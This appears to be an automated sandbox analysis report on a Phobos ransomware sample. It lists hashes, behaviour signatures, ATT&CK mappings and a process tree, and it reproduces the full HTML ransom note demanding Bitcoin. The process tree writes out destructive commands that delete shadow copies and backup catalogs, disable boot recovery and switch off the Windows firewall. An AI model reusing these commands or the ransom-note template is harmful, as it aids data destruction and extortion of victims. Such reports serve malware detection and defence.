Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
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submitted
18-03-2024 15:39
General
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Target
mtx777.exe
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Size
281KB
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MD5
2809e15a3a54484e042fe65fffd17409
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SHA1
4a8f0331abaf8f629b3c8220f0d55339cfa30223
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SHA256
518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c
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SHA512
698e16fd67861377e2ccaace4d0e1a619a8b7c68e8aefc4090e9d1cbbcdfb8d8aede76f9e63f81479f5a035e8008699a4d7175da6248e6e49eb7c81b3dba30c3
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SSDEEP
3072:D5IwIMZKkczttW5ivhjqKO1I9Goh6F4mAqeormMkpCWlunhNGA5yjszVIEe9:NIMsztZZ+KQqGo5QfmLpCoun6W
Score
10/10
Malware Config
Extracted
Path
C:\info.hta
Ransom Note
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>
<html>
<head>
<meta charset='windows-1251'>
<title>cartilage</title>
<HTA:APPLICATION
ICON='msiexec.exe'
SINGLEINSTANCE='yes'
SysMenu="no">
<script language='JScript'>
window.moveTo(50, 50);
window.resizeTo(screen.width - 100, screen.height - 100);
</script>
<style type='text/css'>
body {
font: 15px Tahoma, sans-serif;
margin: 10px;
line-height: 25px;
background: #C6B5C4;
}
img {
display:inline-block;
}
.bold {
font-weight: bold;
}
.mark {
background: #B5CC8E;
padding: 2px 5px;
}
.header {
text-align: center;
font-size: 30px;
line-height: 50px;
font-weight: bold;
margin-bottom:20px;
}
.info {
background: #e6ecf2;
border-left: 10px solid #B58CB2;
}
.alert {
background: #FFE4E4;
border-left: 10px solid #FFA07A;
}
.private {
border: 1px dashed #000;
background: #FFFFEF;
}
.note {
height: auto;
padding-bottom: 1px;
margin: 15px 0;
}
.note .title {
font-weight: bold;
text-indent: 10px;
height: 30px;
line-height: 30px;
padding-top: 10px;
}
.note .mark {
background: #A2A2B5;
}
.note ul {
margin-top: 0;
}
.note pre {
margin-left: 15px;
line-height: 13px;
font-size: 13px;
}
.footer {
position:fixed;
bottom:0;
right:0;
text-align: right;
}
</style>
</head>
<body>
<div class='header'>
<img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAQAAAAAYLlVAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfjAwwMJwSFwIn8AAADNklEQVRo3u2ZTUhUURTHfzozmprmZ1pYEmkfJNEmiwwkSEyFECIQpEUboYhqFYHQXlcti9rUKldWBEUiuQpbtDDNzD5G8qM0HRXLRtO5LdJx3puPd++8+xyIztm88zgf/3veufeee18SdimDI1RxnL0U4gbAzxhDdPGCfpZs+49JWTTyFB8iAq8wTju1pDgXvopOliIGX+d57rHPieBuLvLNIvgaD1KvP/x1FiTDCwQTNOkFcJVfCuEFgq+c0he+minF8AJBH2WRnCUph8/nIZVhb2d5w1smEbjYSTn7SQ/TucsFlnWkPxBW6Xc4RkbIoHKooSNshsxRbT98Eb0mtyM04oqgmR6hUNvtrwrnWDa4nOVMVF0XLfw2aPuosBfezQPTmNpiVtFmnpj0W+wBKMFrcPeJ3RYWNfwwWHSSZgdAHX6Du5uWFpl0myqm1KiQrASgnNQQaZFOS4t5nhvkAnbZAbDHIE0wIGHzmsUQKdXkQwlACtsN8ijfJay8zBjkovgBbCLPlAG/hNUcswa5IH4Ayasdzxr5pBbWRRYMstGHYg04QAkH4FbQFSwTCKbdI7mzWVipbMceKtiCCFqO0OeY1caRbAaKOcgOCpQ+WWTyM8EwvfjkTfJoYZDFONqwaPyTHs7LbktlPNMYep2XuE22dfhsHjkS/i+3Wn/SK2EdoE72UeuyGH8rxbbLLjqlkRlb4TAzDo5fIJiOvRTnR+ju9VJuwveC/wASDsD+2h5KUyyQTVZiALzjFt3MsY16mtmqx2mt9BbUw4EQuzpGpVcCLQB8nDBZXmJFDoCeInzFS9ObxwzLmeoBMGA4/QBM4t1IAOHXDi7Zqwg9ACrCWotS8xnQWQCHOGsafzOFOhzLT8NxmoI3RZncULjG1ARA8DHYupxUucbUtxd4ghnw4JI30wdARHneMABx0j8FYD3xCkdefQByKFl9KsOjy6nKNBR0cZRCTjOk1JhrBCCY5r3pZtSS9bZkueSqmljVgPoPDa0Algk4HD8QG8AXph0G8Dk2AC89DgPosFKodvR83G/dtiRzTevtUChP0SCTpBQuM+bI6Bvk51gl96X/FFvzCh9oW0v+H2zO2tYtz/EgAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTAzLTEyVDEyOjM5OjA0KzAwOjAwG6lIYwAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0wMy0xMlQxMjozOTowNCswMDowMGr08N8AAAAASUVORK5CYII='>
<div>All your files have been encrypted!</div>
</div>
<div class='bold'>All your files have been encrypted due to a security problem with your PC.</div>
<div class='bold'>If you want to restore them, write us to the e-mail <span class='mark'>[email protected]</span></div>
<div class='bold'>Or write us to the Tox: <span class='mark'>78E21CFF7AA85F713C1530AEF2E74E62830BEE77238F4B0A73E5E3251EAD56427BF9F7A1A074</span></div>
<div class='bold'>Write this ID in the title of your message <span class='mark'>76B00CA7-3483</span></div>
<div>
You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the tool that will decrypt all your files.
</div>
<div class='note info'>
<div class='title'>Free decryption as guarantee</div>
<ul>Before paying you can send us up to 3 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) </ul>
</div>
<div class='note info'>
<div class='title'>How to obtain Bitcoins</div>
<ul>
The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.
<br><a href='https://localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a>
<br> Also you can find other places to buy Bitcoins and beginners guide here:
<br><a href='http://www.coindesk.com/information/how-can-i-buy-bitcoins/'>http://www.coindesk.com/information/how-can-i-buy-bitcoins/</a>
</ul>
</div>
<div class='note alert'>
<div class='title'>Attention!</div>
<ul>
<li>Do not rename encrypted files.</li>
<li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li>
<li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li>
</ul>
</div>
</body>
</html>
Emails
class='mark'>[email protected]</span></div>
URLs
http://www.w3.org/TR/html4/strict.dtd'>
Signatures
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Phobos
Phobos ransomware appeared at the beginning of 2019.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
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Renames multiple (320) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Deletes backup catalog 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
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Modifies Windows Firewall 2 TTPs 2 IoCs
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Drops startup file 3 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 2 IoCs
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Drops desktop.ini file(s) 64 IoCs
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Drops file in Program Files directory 64 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
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Modifies Internet Explorer settings 1 TTPs 5 IoCs
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Opens file in notepad (likely ransom note) 1 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious use of AdjustPrivilegeToken 64 IoCs
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Suspicious use of FindShellTrayWindow 5 IoCs
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Suspicious use of WriteProcessMemory 64 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\mtx777.exe"C:\Users\Admin\AppData\Local\Temp\mtx777.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\mtx777.exe"C:\Users\Admin\AppData\Local\Temp\mtx777.exe"2⤵
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall set currentprofile state off3⤵
- Modifies Windows Firewall
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C:\Windows\system32\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\info.hta"2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\desktop\info.hta"2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\info.hta"2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "F:\info.hta"2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\Desktop\info.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\info.txt1⤵
- Opens file in notepad (likely ransom note)
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
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Downloads
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Filesize
10.0MB
MD538ca5cc3b95a605327e5c7fd167a99f1
SHA1e9fb74f7441bc8bb44ffcb2a2b31eda28c1afa72
SHA25620de9d2700e6117a8d2ab74d9436c5499d373c7494d22b4e477fbd6dcfd724c2
SHA512224618880a94af7b51f6eae85a68a5b71d5b83a0ac2174e35fe16f13de41285a8ae722247e1bef96216809be0766cf5cd4b28a23ea7a57c7ebc8ca7ca3aedf56
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Filesize
216B
MD5785cafecedf21b32589f303a8a490a6a
SHA15388d3b2a40734142918364eadc02b4429d856e3
SHA256e455b6bfe96488ca6d4ee70ef495c8925040d22a7cba422e0db7469065daf932
SHA5124511937134dd7809e888f9bcfcf06d24c17a06f55b5a2b9690a381fda8de9cb793a9799c91814ce43f47ca6db594b010c5feae8aff08bd3edd448967d06fc93b
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Filesize
5KB
MD5019c6204123aeb87a19d73cdac46120f
SHA17365c63fada9ce39d8af112dd91dbf0420988d43
SHA2567405d8c7aa26c3ce3110b97a76238c84b8cd781684da297e239e3485f46268ca
SHA512f29f31e71c231c02ad5a6fbee219d7b737d0f969e7426a8c13996b9324729104d18e4552a66aa7c661c5d9a9fab8d59ad10f3eca78f5f02649c9acc192d2463f
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Filesize
5.2MB
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Filesize
60KB
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Filesize
5.2MB
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Filesize
5.2MB
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Filesize
5.2MB
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Filesize
84KB
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Filesize
5.2MB
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Filesize
5.2MB
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Filesize
5.2MB
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Filesize
5.2MB
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Filesize
5.2MB
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Filesize
60KB
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Filesize
5.2MB
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Filesize
84KB